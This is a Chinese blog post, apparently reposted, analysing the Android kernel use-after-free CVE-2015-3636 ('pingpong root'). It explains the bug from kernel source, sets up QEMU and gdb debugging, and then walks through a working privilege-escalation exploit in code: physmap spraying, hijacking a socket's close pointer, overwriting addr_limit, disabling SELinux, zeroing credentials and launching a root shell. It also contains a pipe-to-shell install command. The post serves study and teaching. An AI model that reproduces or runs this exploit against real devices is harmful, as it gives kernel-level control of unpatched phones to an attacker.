當前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

CVE-2015-3636(pingpong root) android内核 UAF漏洞分析

發(fā)布時間：2025/3/15 编程问答 18 豆豆

生活随笔收集整理的這篇文章主要介紹了 CVE-2015-3636(pingpong root) android内核 UAF漏洞分析小編覺得挺不錯的,現(xiàn)在分享給大家,幫大家做個參考.

前言

去年差不多這個時候就計劃把這個漏洞給分析了，由于android沒有經常搞，所以踩了很多坑，中間一度因為各種原因停滯放棄，最近遇到一個事情讓我下定決心把它了結，也算是解決一個心病。過程會寫詳細一點，給和我一樣的初學朋友提供點幫助。這個漏洞keen在blackhat上講過[8]，是一個很經典的android內核漏洞，也是第一個64bit root，還是很有學習價值的。分析android內核的漏洞需要自己下載android源代碼和內核源代碼，reverse patch，編譯調試。吾愛破解有個比賽就是寫這個漏洞的exploit，并且還提供了相應的環(huán)境[3]，所以我偷了個懶，直接拿過來用就行了。exploit我在github上也直接找了一份現(xiàn)成的[11]，經我測試可用。

漏洞原理

其實很多文章都對漏洞原理描述很清楚了，為了文章完整性我再贅述一下。補丁[12]是在net/ipv4/ping.c的ping_unhash中加了一句sk_nulls_node_init(&sk->sk_nulls_node)。

這行代碼其實就是把node->pprev設置成了NULL。

static?__inline__?void?sk_nulls_node_init(struct?hlist_nulls_node?*node)

{

????node->pprev?=?NULL;

}

我們再看看keen給的POC。

int?sockfd?=?socket(AF_INET,?SOCK_DGRAM,?IPPROTO_ICMP);

struct?sockaddr?addr?=?{?.sa_family?=?AF_INET?};

int?ret?=?connect(sockfd,?&addr,?sizeof(addr));

struct?sockaddr?_addr?=?{?.sa_family?=?AF_UNSPEC?};

ret?=?connect(sockfd,?&_addr,?sizeof(_addr));

把內核源代碼下載下來看看。

1 2	git?clone?https://aosp.tuna.tsinghua.edu.cn/kernel/common.git git?checkout?remotes/origin/android-3.4?-b?android-3.4

當調用socket(AF_INET, SOCK_DGRAM, IPPROTO_ICMP)創(chuàng)建socket再調用connect時，在內核中調用到了inet_dgram_connect。

int?inet_dgram_connect(struct?socket?*sock,?struct?sockaddr?*?uaddr,

???????????????int?addr_len,?int?flags)

{

????struct?sock?*sk?=?sock->sk;

????if?(addr_len?<?sizeof(uaddr->sa_family))

????????return?-EINVAL;

????if?(uaddr->sa_family?==?AF_UNSPEC)

????????return?sk->sk_prot->disconnect(sk,?flags);

????if?(!inet_sk(sk)->inet_num?&&?inet_autobind(sk))

????????return?-EAGAIN;

????return?sk->sk_prot->connect(sk,?(struct?sockaddr?*)uaddr,?addr_len);

}

EXPORT_SYMBOL(inet_dgram_connect);

如果sa_family == AF_UNSPEC會根據協(xié)議類型調用相應的disconnect routine，對于PROTO_ICMP來說是udp_disconnect。

int?udp_disconnect(struct?sock?*sk,?int?flags)

{

????struct?inet_sock?*inet?=?inet_sk(sk);

????/*

?????* 1003.1g?-?break?association.

?????*/

????sk->sk_state?=?TCP_CLOSE;

????inet->inet_daddr?=?0;

????inet->inet_dport?=?0;

????sock_rps_reset_rxhash(sk);

????sk->sk_bound_dev_if?=?0;

????if?(!(sk->sk_userlocks?&?SOCK_BINDADDR_LOCK))

????????inet_reset_saddr(sk);

????if?(!(sk->sk_userlocks?&?SOCK_BINDPORT_LOCK))?{

????????sk->sk_prot->unhash(sk);

????????inet->inet_sport?=?0;

????}

????sk_dst_reset(sk);

????return?0;

}

EXPORT_SYMBOL(udp_disconnect);

最終會調用到ping_unhash。

void?ping_unhash(struct?sock?*sk)

{

????struct?inet_sock?*isk?=?inet_sk(sk);

????pr_debug("ping_unhash(isk=%p,isk->num=%u)\n",?isk,?isk->inet_num);

????if?(sk_hashed(sk))?{

????????write_lock_bh(&ping_table.lock);

????????hlist_nulls_del(&sk->sk_nulls_node);

????????sk_nulls_node_init(&sk->sk_nulls_node);

????????sock_put(sk);

????????isk->inet_num?=?0;

????????isk->inet_sport?=?0;

????????sock_prot_inuse_add(sock_net(sk),?sk->sk_prot,?-1);

????????write_unlock_bh(&ping_table.lock);

????}

}

EXPORT_SYMBOL_GPL(ping_unhash);

如果sk_hashed條件成立則會調用hlist_nulls_del在一個雙向鏈表hlist中刪除sk_nulls_node。

static?inline?void?__hlist_nulls_del(struct?hlist_nulls_node?*n)

{

?????????struct?hlist_nulls_node?*next?=?n->next;

?????????struct?hlist_nulls_node?**pprev?=?n->pprev;

?????????*pprev?=?next;

?????????if?(!is_a_nulls(next))

???????????????????next->pprev?=?pprev;

}

static?inline?void?hlist_nulls_del(struct?hlist_nulls_node?*n)

{

?????????__hlist_nulls_del(n);

?????????n->pprev?=?LIST_POISON2;

}

當n也就是sk_nulls_node被刪除之后n->pprev被設置為LIST_POISON2，它的值是固定的0x200200。我們看一下第二次connect的時候sk_hashed條件是否成立。

static?inline?int?sk_unhashed(const?struct?sock?*sk)

{

?????????return?hlist_unhashed(&sk->sk_node);

}

static?inline?int?sk_hashed(const?struct?sock?*sk)

{

?????????return?!sk_unhashed(sk);

}

static?inline?int?hlist_unhashed(const?struct?hlist_node?*h)

{

?????????return?!h->pprev;

}

這里注意sk_node和sk_nulls_node共用了一個union，兩者的定義也十分類似，似乎有一點類型混淆的感覺。

#define?sk_node??????????? __sk_common.skc_node

#define?sk_nulls_node????? __sk_common.skc_nulls_node

????union?{

????????struct?hlist_node? skc_node;

????????struct?hlist_nulls_node?skc_nulls_node;

????};

struct?hlist_node?{

????struct?hlist_node?*next,?**pprev;

};

struct?hlist_nulls_node?{

????struct?hlist_nulls_node?*next,?**pprev;

};

所以雖然設置的是sk_nulls_node->pprev判斷的是sk_node->pprev但是實際上是一個東西，sk_hashed條件成立，再次刪除已經刪除的對象，執(zhí)行*pprev = next時pprev已經是0x200200了，如果這個地址沒有映射到用戶態(tài)就會kernel panic。poc中第一次AF_INET的connect是為了將sk加入hlist中。下面就是poc的效果。

這里Unable to handle kernel paging request at virtual address的地址是0x1360而不是0x200200，可能出題的人在這里修改了一下。我們在IDA里面看看。如果采取自己編譯調試的方式是可以加載vmlinux符號文件的，這里我們就只能自己從機器上得到函數地址和名稱然后加載到IDA中了。把Image拖到IDA64中，Process type選擇ARM Little-endian [ARM]。

把ROM start address和Loading address設置為0xFFFFFFC000080000(32位系統(tǒng)就是0xC0008000)。Android 8.0中才為4.4及以后的內核引入了KASLR，很顯然我們這里沒有KASLR，這個值是固定的。

選擇64-bit code。

這個時候IDA是什么也識別不出來的，因為Image文件并不是一個ELF，用binwalk看一下就會發(fā)現(xiàn)其實它組成還挺復雜的。我們接下來從運行的虛擬機中導出內核函數名稱和地址。在ubuntu這樣的發(fā)行版和android內核中有Kernel Address Display Restriction，所以先把它關掉。

sh?-c?"?echo?0?>?/proc/sys/kernel/kptr_restrict"

cat?/proc/kallsyms?>?/data/local/tmp/1.txt

adb?pull?/data/local/tmp/1.txt

寫一個簡單的腳本把這些函數名加載到IDA里面。

ksyms?=?open("D:\\1.txt")

for?line?in?ksyms:

????addr?=?int(line[0:16],16)

????name?=?line[19:].replace('_','')

????name?=?line[19:].replace('\n','')

????idc.MakeCode(addr)

????idc.MakeFunction(addr)

????idc.MakeName(addr,name)

????Message("%08X:%s"%(addr,name))

出來的函數列表里面只有ping_hash沒有ping_unhash，我們把ping_hash的End address改成0xFFFFFFC000409614再在0xFFFFFFC000409614處create function處理一下就可以了。

我們可以看到crash處0xFFFFFFC000409644和前后的代碼。

ROM:FFFFFFC00040963C?????????????????LDR?????????????X1,?[X19,#0x38]

ROM:FFFFFFC000409640?????????????????LDR?????????????X0,?[X19,#0x30]

ROM:FFFFFFC000409644?????????????????STR?????????????X0,?[X1]

這三行代碼對應源代碼中的下面這三行。

struct?hlist_nulls_node?*next?=?n->next;

struct?hlist_nulls_node?**pprev?=?n->pprev;

*pprev?=?next;

所以進一步確認了漏洞成因和我們前面所分析的一樣。如何讓IDA分析Image講的有點多了，主要參考了[1]和[4]。接下來還是回到正題，既然說這是一個UAF漏洞那么哪里UAF了呢？在hlist_nulls_del之后還有一個sock_put。

/*?Ungrab?socket?and?destroy?it,?if?it?was?the?last?reference.?*/

static?inline?void?sock_put(struct?sock?*sk)

{

????if?(atomic_dec_and_test(&sk->sk_refcnt))

????????sk_free(sk);

}

sock_put將sk的引用計數減1，并且判斷其值是否為0，如果為0的話就free掉sk。可以想到最后一次connect進入本不該進入的if分支之后如果我們提前mmap了0x200200(這里是0x1360)就不會崩潰，接下來進入sock_put，引用計數變成0，sk被free掉，但是文件描述符還在用戶空間，這就造成了UAF。

調試過程

我們可以先測一下這個EXP。不過要注意的是必須用adb shell過去然后su shell才能繼承root的權限得到建立socket的權限。測試發(fā)現(xiàn)這個EXP確實是可用的，下面就開始調試。

我調試時的命令如下。

./qemu-system-aarch64?-cpu?cortex-a57?-machine?type=ranchu?-m?1024?-append?'console=ttyAMA0,38400?keep_bootcon?earlyprintk=ttyAMA0'?-serial?mon:stdio?-kernel?Image?-initrd?/home/hjy/Desktop/android-problem-env/ramdisk.img?-drive?index=0,id=sdcard,file=/home/hjy/Desktop/android-problem-env/system.img?-device?virtio-blk-device,drive=sdcard?-drive?index=1,id=userdata,file=/home/hjy/Desktop/android-problem-env/.//userdata.img?-device?virtio-blk-device,drive=userdata?-drive?index=2,id=cache,file=/home/hjy/Desktop/android-problem-env/cache.img?-device?virtio-blk-device,drive=cache?-drive?index=3,id=system,file=/home/hjy/Desktop/android-problem-env/system.img?-device?virtio-blk-device,drive=system?-netdev?user,id=mynet?-device?virtio-net-device,netdev=mynet?-show-cursor?-nographic?-L?lib/pc-bios?-gdb?tcp::1234,ipv4?–S

這里又有一個很坑的地方，用NDK里面的gdb去調試會報Remote 'g' packet reply is too long，需要我們自己修改gdb源代碼并且編譯[9]。

1	git?clone?https://android.googlesource.com/toolchain/gdb.git

下載下來發(fā)現(xiàn)有gdb-7.11和gdb-8.0.1兩個文件夾，由于pwndbg和GEF等插件目前好像還不支持gdb 8.x，所以我們選擇gdb-7.11。找到gdb-7.11/gdb目錄下的remote.c文件，注釋掉這兩行。

1 2	??if?(buf_len?>?2?*?rsa->sizeof_g_packet) ?????error?(_(“Remote?‘g’?packet?reply?is?too?long:?%s”),?rs->buf);

在后面加上下面這幾行。

??if?(buf_len?>?2?*?rsa->sizeof_g_packet)?

???{

??????rsa->sizeof_g_packet?=?buf_len?;

??????for?(i?=?0;?i?<?gdbarch_num_regs?(gdbarch);?i++)

??????{

?????????if?(rsa->regs[i].pnum?==?-1)

?????????continue;

?????????if?(rsa->regs[i].offset?>=?rsa->sizeof_g_packet)

?????????rsa->regs[i].in_g_packet?=?0;

?????????else

?????????rsa->regs[i].in_g_packet?=?1;

??????}

???}

編譯安裝。

./configure?--target=aarch64-linux-androideabi?--prefix=/home/hjy/Desktop/gdb_build/gdb/gdb-7.11/arm-linux

make

make?install

安裝GEF，因為很多人說pwndbg比較卡而GEF不卡。

1	wget?-q?-O-?https://github.com/hugsy/gef/raw/master/scripts/gef.sh?\|?sh

終于開始調試了，不過還有一個小坑，我們應該用gef-remote -q localhost:1234也就是加上-q參數不然會報錯，原因在這里[7]。接下來進入漏洞利用的部分。我們可以看到在main函數中整個漏洞觸發(fā)漏洞的過程和POC中一樣。

vultrig_socks[i]?=?socket(AF_INET,?SOCK_DGRAM,?IPPROTO_ICMP);

ret?=?connect(vultrig_socks[i],?&addr1,?sizeof(addr1));

system("echo?4096?>?/proc/sys/vm/mmap_min_addr");

void*?user_mm?=?mmap(PAGE_SIZE,?MAX_NULLMAP_SIZE,?PROT_READ|PROT_WRITE|PROT_EXEC,?MAP_PRIVATE|?MAP_FIXED?|MAP_ANONYMOUS,?-1,?0);

ret?=?connect(vultrig_socks[i],?&addr2,?sizeof(addr2));

修改mmap_min_addr并mmap就是為了避免崩潰這樣才能執(zhí)行到sock_put的邏輯。接下來的操作叫做physmap spray，大家如果對CVE-2014-3153(towelroot)還有印象的話，會記得它是通過sendmmsg修改內核數據的，keen在文章中解釋了，通過sendmmsg完成堆噴的條件是存在漏洞的對象大小必須和SLAB分配器通常使用的大小一致。而在一些android設備上，PING sock對象的大小是576，不是期望的512或者1024。這樣就很難對齊，利用會很不穩(wěn)定，所以采用的是physmap spray的方法。

在內核中physmap在一個相對較高的地址，而SLAB通常在一個相對較低的地址，通過噴射其它的內核對象使得SLAB分配器在相對高的地址分配PING sock對象造成physmap和SLAB重疊，這個過程叫做lifting。這里的“其它的內核對象”直接用PING sock對象其實就可以。

然后釋放掉用來做lifting的PING sock對象，和physmap重疊的那一部分則留做觸發(fā)漏洞。那么怎樣才能知道什么時候PING sock對象已經被physmap中的數據填充了可以停止噴射以及怎樣找到已經被填充的PING sock對象呢？在physmap spray中進行了大量的mmap操作，并且將mapped_page+0x1D8處賦值為MAGIC_VALUE+physmap_spray_pages_count，接下來search_exploitable_socket的時候用ioctl一個一個去試。

1	ioctl(exp_sock,?SIOCGSTAMPNS,?&time);

這里的time是timespec結構體，會調用到sock_get_timestampns。

int?sock_get_timestampns(struct?sock?*sk,?struct?timespec?__user?*userstamp)

{

????struct?timespec?ts;

????if?(!sock_flag(sk,?SOCK_TIMESTAMP))

????????sock_enable_timestamp(sk,?SOCK_TIMESTAMP);

????ts?=?ktime_to_timespec(sk->sk_stamp);

????if?(ts.tv_sec?==?-1)

????????return?-ENOENT;

????if?(ts.tv_sec?==?0)?{

????????sk->sk_stamp?=?ktime_get_real();

????????ts?=?ktime_to_timespec(sk->sk_stamp);

????}

????return?copy_to_user(userstamp,?&ts,?sizeof(ts))???-EFAULT?:?0;

}

EXPORT_SYMBOL(sock_get_timestampns);

這個函數會返回sk->sk_stamp，在我們的環(huán)境中它在sock對象中的偏移正是0x1D8。

找到exp_sock之后因為它已經完全在我們的控制之中了，所以函數指針也是可控的，對其調用close函數就可以控制PC了。可以看到close是在inet_close中調用的。

int?inet_release(struct?socket?*sock)

{

????struct?sock?*sk?=?sock->sk;

????if?(sk)?{

????????long?timeout;

????????sock_rps_reset_flow(sk);

????????/*?Applications?forget?to?leave?groups?before?exiting?*/

????????ip_mc_drop_socket(sk);

????????/*?If?linger?is?set,?we?don't?return?until?the?close

?????????*?is?complete.??Otherwise?we?return?immediately.?The

?????????*?actually?closing?is?done?the?same?either?way.

?????????*

?????????*?If?the?close?is?due?to?the?process?exiting,?we?never

?????????*?linger..

?????????*/

????????timeout?=?0;

????????if?(sock_flag(sk,?SOCK_LINGER)?&&

????????????!(current->flags?&?PF_EXITING))

????????????timeout?=?sk->sk_lingertime;

????????sock->sk?=?NULL;

????????sk->sk_prot->close(sk,?timeout);

????}

????return?0;

}

EXPORT_SYMBOL(inet_release);

找一下發(fā)現(xiàn)偏移是0x28，所以我們將payload+0x28設置為payload的地址，將payload開頭設置為0xFFFFFFC00035D788讓它跳到kernel_setsockopt。

???*(unsigned?long?*)((char?*)payload?+?0x28)??=?(unsigned?long)payload;

???*(unsigned?long?*)((char?*)payload)?????????=?(unsigned?long)0xFFFFFFC00035D788;

???*(unsigned?long?*)((char?*)payload?+?0x68)??=?(unsigned?long)0xFFFFFFC00035D7C0;

???close(exp_sock);

addr_limit規(guī)定了特定線程的用戶空間地址最大值，超過這個值的地址用戶空間代碼不能訪問。所以把addr_limit改成0xffffffff就可以對內核為所欲為了。現(xiàn)在我們已經來到了kernel_setsockopt，應該怎么改addr_limit呢？當內核需要去使用系統(tǒng)調用的時候就要去掉地址空間的限制，一般的流程是(1)oldfs=get_fs()，(2)set_fs(KERNEL_DS)，(3)set_fs(oldfs)，如果能繞過set_fs(oldfs)的執(zhí)行，內核空間將一直對用戶態(tài)打開，這樣就繞過了限制。

int?kernel_setsockopt(struct?socket?*sock,?int?level,?int?optname,

????????????char?*optval,?unsigned?int?optlen)

{

????mm_segment_t?oldfs?=?get_fs();

????char?__user?*uoptval;

????int?err;

????uoptval?=?(char?__user?__force?*)?optval;

????set_fs(KERNEL_DS);

????if?(level?==?SOL_SOCKET)

????????err?=?sock_setsockopt(sock,?level,?optname,?uoptval,?optlen);

????else

????????err?=?sock->ops->setsockopt(sock,?level,?optname,?uoptval,

????????????????????????optlen);

????set_fs(oldfs);

????return?err;

}

EXPORT_SYMBOL(kernel_setsockopt);

#define?set_fs(x)? (current_thread_info()->addr_limit?=?(x))

注意這里因為我們控制了X0所以BLR ?X5跳過了STR ?X20, [X19,#8]。

截一張mosec2016上360冰刃實驗室講的《Android Root利用技術漫談：繞過PXN》[5]中的一張圖幫助理解。

現(xiàn)在可以任意讀寫內核了，下一步是修改全局mmap_min_addr讓我們能夠在用戶態(tài)mmap null地址。

???/*

??????overwrite?the?global?variable?mmap_min_addr?to?0,?then?we?can?mmap?NULL?in?user-mode?

???*/

???data8?=?0;?

???kernel_write8((void?*)0xffffffc000652148,?&data8);

???user_mm?=?mmap(NULL,?PAGE_SIZE,?PROT_READ|PROT_WRITE|PROT_EXEC,?MAP_PRIVATE|?MAP_FIXED?|MAP_ANONYMOUS,?-1,?0);

???if(MAP_FAILED?==?user_mm)

???{

??????perror("[*]?mmap?NULL?fail");

??????return?-1;

???}

這個地址應該怎么找呢，注意到setup_arg_pages中有mmap_min_addr。

0xFFFFFFC00063EE9F+0x132A9=0xFFFFFFC000652148，就是這么來的。接下來關掉selinux，方法同上。

???/*

??????overwirte?selinux_enforcing?to?disable?selinux

???*/

???data4?=?0;

???kernel_write4((void?*)0xffffffc00065399c,?&data4);

???printf("[*]?selinux?disabled.\n");

在arm64系統(tǒng)上棧的最大深度為16K，所以unsigned long thread_info_addr=sp&0xFFFFFFFFFFFFC000。task結構體的偏移是0x10，我們再次調用close，通過下面這段gadget把task結構體的指針leak到0x0000000000000018(X1是0)。

???*(unsigned?long?*)((char?*)payload?+?0x290)?=?0;

???*(unsigned?long?*)((char?*)payload?+?0x28)??=?(unsigned?long)payload;

???*(unsigned?long?*)((char?*)payload)?????????=?(unsigned?long)0xFFFFFFC0004AA518;

???close(exp_sock);

接下來改掉task_struct->cred，整個提權過程就完成了。

???????/*

??????????overwrite?task_struct->cred?to?gain?root?privilege

???????*/

???????task?=?NULL;

???????task?=?(void?*)*(unsigned?long?*)((char?*)user_mm?+?0x18);

???????printf("[*]?task:%p\n",?task);?

???????cred?=?NULL;

???????kernel_read8((char?*)task?+?0x398,?&cred);

???????printf("[*]?cred:%p\n",?cred);

???????data4?=?0;

???????kernel_write4((char?*)cred?+??4,??&data4);

???????kernel_write4((char?*)cred?+??8,??&data4);

???????kernel_write4((char?*)cred?+?12,??&data4);

???????kernel_write4((char?*)cred?+?16,??&data4);

???????kernel_write4((char?*)cred?+?20,??&data4);

???????kernel_write4((char?*)cred?+?24,??&data4);

???????kernel_write4((char?*)cred?+?28,??&data4);

???????kernel_write4((char?*)cred?+?32,??&data4);

???????/*

??????????cleanup?to?avoid?crash.?overwirte?task_struct->files->fdt->max_fds?to?0

???????*/

???????kernel_read8((char?*)task?+?0x788,?&files);

???????printf("[*]?files:%p\n",?files);

???????kernel_read8((char?*)files?+?8,?&fdt);

???????printf("[*]?fdt:%p\n",?fdt);

???????data4?=?0;

???????kernel_write4(fdt,?&data4);

??????if(getuid()?==?0)

??????{

??????????printf("[*]?congrats,?enjoy?your?root?shell.\n");

??????????system("/system/bin/sh");

??????}

??????else

??????{

????????printf("[*]?Oops,?you'd?better?have?a?cup?of?tea?and?try?again:(\n");

??????}

???

????return?0;

希望我已經說清楚了所有涉及這個漏洞的知識，讀者能有所收獲。

參考資料

1.逆向ARM64內核zImage
2.Android Interals – Part?4?

3.吾愛破解2016安全挑戰(zhàn)賽?

4.從Android設備中提取內核和逆向分析?

5.Android Root利用技術漫談：繞過PXN?

6.ret2dir: Deconstructing Kernel Isolation?

7.https://github.com/hugsy/gef/issues/124

8.Own your Android! Yet Another Universal Root?

9.重新編譯arm-linux-androideabi-gdb和gdbserver

10.https://www.kernel.org/doc/htmldocs/networking/API-struct-sock.html?

11.https://github.com/4B5F5F4B/Exploits/tree/master/Linux/CVE-2015-3636?

12.https://github.com/torvalds/linux/commit/a134f083e79fb4c3d0a925691e732c56911b4326?diff=split

https://bbs.pediy.com/thread-230298.htm

總結

以上是生活随笔為你收集整理的CVE-2015-3636(pingpong root) android内核 UAF漏洞分析的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。

上一篇：进阶Frida--Android逆向之动
下一篇： VirtualApp技术黑产利用研究报告